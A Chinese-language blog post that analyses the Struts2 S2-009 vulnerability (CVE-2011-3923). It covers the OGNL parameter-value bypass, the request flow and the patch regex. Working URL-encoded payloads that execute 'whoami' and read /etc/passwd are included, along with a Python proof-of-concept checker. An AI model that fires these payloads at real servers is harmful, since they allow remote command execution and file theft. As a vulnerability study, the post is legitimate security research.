S2-009

S2-009漏洞分析

Posted by taomujian on May 14, 2021

前言

这是Struts系列第六篇,继续加油!

Struts简介

Struts2是用Java语言编写的一个基于MVC设计模式的Web应用框架

漏洞复现

漏洞简介

Struts2 S2-009漏洞,又名CVE-2011-3923漏洞.

Struts2框架中ParametersInterceptor拦截器只检查传入的参数名是否合法,不会检查参数值.例如传入参数top[‘foo’](0)会通过ParametersInterceptor的白名单检查,OGNL会将其解析为(top[‘foo’])(0),并将foo的值也作为OGNL表达式进行计算从而造成代码执行.

漏洞详情地址

漏洞成因

Struts2框架中ParametersInterceptor拦截器只检查传入的参数名是否合法,不会检查参数值.例如传入参数top[‘foo’](0)会通过ParametersInterceptor的白名单检查,OGNL会将其解析为(top[‘foo’])(0),并将foo的值也作为OGNL表达式进行计算从而造成代码执行.其实这个漏洞是对S2-003和S2-005漏洞的绕过.S2-003的修复方法是禁止#号,于是S2-005通过使用#号的unicode编码\u0023或8进制编码\43来绕过,Struts2对S2-005的修复方法是禁止\等特殊符号.这次是通过Struts2框架中ParametersInterceptor拦截器只检查传入的参数名而不检查参数值的方式进行构造OGNL表达式从而造成代码执行

漏洞影响范围

Struts 2.0.0 - Struts 2.3.1

环境搭建

解压地址的S2-009.war文件,然后使用IDEA直接打开,然后配置好Tomcat就可以运行了

Payload

执行命令

1
?age=12313&name=(%23context[%22xwork.MethodAccessor.denyMethodExecution%22]=+new+java.lang.Boolean(false),+%23_memberAccess[%22allowStaticMethodAccess%22]=true,+%23a=@java.lang.Runtime@getRuntime().exec(%27whoami%27).getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char[51020],%23c.read(%23d),%23kxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z[(name)(%27meh%27)]

读取文件

1
?age=12313&name=(%23context[%22xwork.MethodAccessor.denyMethodExecution%22]=+new+java.lang.Boolean(false),+%23_memberAccess[%22allowStaticMethodAccess%22]=true,+%23a=@java.lang.Runtime@getRuntime().exec(%27cat%20/etc/passwd%27).getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char[51020],%23c.read(%23d),%23kxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z[(name)(%27meh%27)]

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
#!/usr/bin/env python3

import urllib
import random
import string
import requests

class S2_009_BaseVerify:
    def __init__(self, url):
        self.info = {
            'name': 'Struts2 S2-009漏洞,又名CVE-2011-3923漏洞',
            'description': 'Struts2 S2-009漏洞可执行任意命令, 影响范围为: Struts 2.0.0 - Struts 2.3.1',
            'date': '2012-01-20',
            'type': 'RCE'
        }
        self.url = url
        if not self.url.startswith("http") and not self.url.startswith("https"):
            self.url = "http://" + self.url
        if  '.action' not in self.url:
            self.url = self.url + '/ajax/example5.action'
        self.capta = self.get_capta() 
        self.payload =  '?age=12313&name=(%23context[%22xwork.MethodAccessor.denyMethodExecution%22]=+new+java.lang.Boolean(false),+%23_memberAccess[%22allowStaticMethodAccess%22]=true,+%23a=@java.lang.Runtime@getRuntime().exec(%27{cmd}%27).getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char[51020],%23c.read(%23d),%23kxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z[(name)(%27meh%27)]'
       
    def filter(self, check_str):
        temp = ''
        for i in check_str:
            if i != '\n' and i != '\x00':
                temp = temp + i
        return temp
    
    def get_capta(self):
        """
        获取一个随机字符串

        :param:

        :return str capta: 生成的字符串
        """
        capta = ''
        words = ''.join((string.ascii_letters,string.digits))
        for i in range(8):
            capta = capta + random.choice(words)
        return capta

    def run(self):

        """
        检测是否存在漏洞

        :param:

        :return str True or False
        """

        try:
            check_url = self.url + self.payload.format(cmd = urllib.parse.quote(('echo' + ' ' + self.capta), 'utf-8'))
            check_res = requests.get(check_url)
            check_str = self.filter(list(check_res.text))
            if check_res.status_code == 200 and len(check_str) < 100 and self.capta in check_str:
                return True
            else:
                return False
        except Exception as e:
            print(e)
            return False
        finally:
            pass

if  __name__ == "__main__":
    S2_009 = S2_009_BaseVerify('http://127.0.0.1:8080')
    S2_009.run()

漏洞分析

首先Struts2的运行流程是

流程图

    1.HTTP请求经过一系列的标准过滤器(Filter)组件链(这些拦截器可以是Struts2 自带的,也可以是用户自定义的,本环境中struts.xml中的package继承自struts-default,struts-default就使用了Struts2自带的拦截器.ActionContextCleanUp主要是清理当前线程的ActionContext、Dispatcher,FilterDispatcher主要是通过ActionMapper来决定需要调用那个Action,FilterDispatcher是控制器的核心,也是MVC中控制层的核心组件),最后到达FilterDispatcher过滤器.

    2.核心控制器组件FilterDispatcher根据ActionMapper中的设置确定是否需要调用某个Action组件来处理这个HttpServletRequest请求,如果ActionMapper决定调用某个Action组件,FilterDispatcher核心控制器组件就会把请求的处理权委托给ActionProxy组件.

    3.ActionProxy组件通过Configuration Manager组件获取Struts2框架的配置文件struts.xml,最后找到需要调用的目标Action组件类,然后ActionProxy组件就创建出一个实现了命令模式的ActionInvocation类的对象实例类的对象实例(这个过程包括调用Anction组件本身之前调用多个的拦截器组件的before()方法)同时ActionInvocation组件通过代理模式调用目标Action组件.但是在调用之前ActionInvocation组件会根据配置文件中的设置项目加载与目标Action组件相关的所有拦截器组件(Interceptor)

    4.一旦Action组件执行完毕,ActionInvocation组件将根据开发人员在Struts2.xml配置文件中定义的各个配置项目获得对象的返回结果,这个返回结果是这个Action组件的结果码(比如SUCCESS、INPUT),然后根据返回的该结果调用目标JSP页面以实现显示输出.

    5.最后各个拦截器组件会被再次执行(但是顺序和开始时相反,并调用after()方法),然后请求最终被返回给系统的部署文件中配置的其他过滤器,如果已经设置了ActionContextCleanUp过滤器,那么FilterDispatcher就不会清理在ThreadLocal对象中保存的ActionContext信息.如果没有设置ActionContextCleanUp过滤器,FilterDispatcher就会清除掉所有的ThreadLocal对象.

具体分析过程:

    1.这个漏洞的执行流程是和S2-005一样的,就不再进行复制了.这个漏洞是对S2-003和S2-005漏洞的绕过.对于S2-003和S2-005漏洞,官方修补方案是通过加强对参数名的过滤从而杜绝非法输入,S2-009是根据Struts2框架只对参数名进行检测而不对参数值进行检测的方式进行利用的.ongl表达式语法中会把top[‘foo’](0)解析为(top[‘foo’])(0),从而利用这种方式进行执行恶意代码,这其中利用了ONGl表达式的(one)(two)模型.

    2.(one)(two)

    will evaluate one as an OGNL expression and will use its return value as another OGNL expression that it will evaluate with two as a root for the evaluation. So if one returns blah, then blah is evaluated as an OGNL statement. one会被当作一个OGNL表达式去计算,然后把它的结果当作另一个以two为根对象的OGNL表达式再一次计算.所以,如果one有返回内容,那么这些内容将会被当作OGNL语句被计算.

    所以payload的最后会有(name)(%27meh%27),先把name的值当作OGNL表达式去计算,name的值为恶意代码,从而导致了漏洞的产生.

    Struts2的取参顺序是按照ascii大小来进行排序的,ascii值越小则优先获取.(的ascii值小于n,所以需要借助z[(name)(meh)],z的scii值大于n,所以会先获取name的值,然后再执行(name)(meh)进行执行代码.

漏洞修复

继续加强了对于参数的正则匹配,不允许z[(password)(meh)]这种格式的参数名

1
2
3
private String acceptedParamNames = "\\w+((\\.\\w+)|(\\[\\d+\\])|(\\[\\d+\\))|(\\['\\w+'\\])|(\\['\\w+'\\)))*";

总结

ongl表达式好复杂,越研究越发现麻烦…….,自从S2-003漏洞补丁中的安全配置(禁止静态方法allowStaticMethodAcces、MethodAccessor.denyMethodExecution调用和类方法执行等)被绕过再次导致了S2-005漏洞后.之后漏洞都需要利用OGNL先把沙盒关闭掉,xwork.MethodAccessor.denyMethodExecution设置为false,allowStaticMethodAccess设置为true,然后再执行payload.

参考

https://mp.weixin.qq.com/s/W0ZWPNlijQTuebLBxNxgfw

https://aluvion.gitee.io/2020/07/20/struts2%E7%B3%BB%E5%88%97%E6%BC%8F%E6%B4%9E-S2-009/

https://xz.aliyun.com/t/111/#toc-6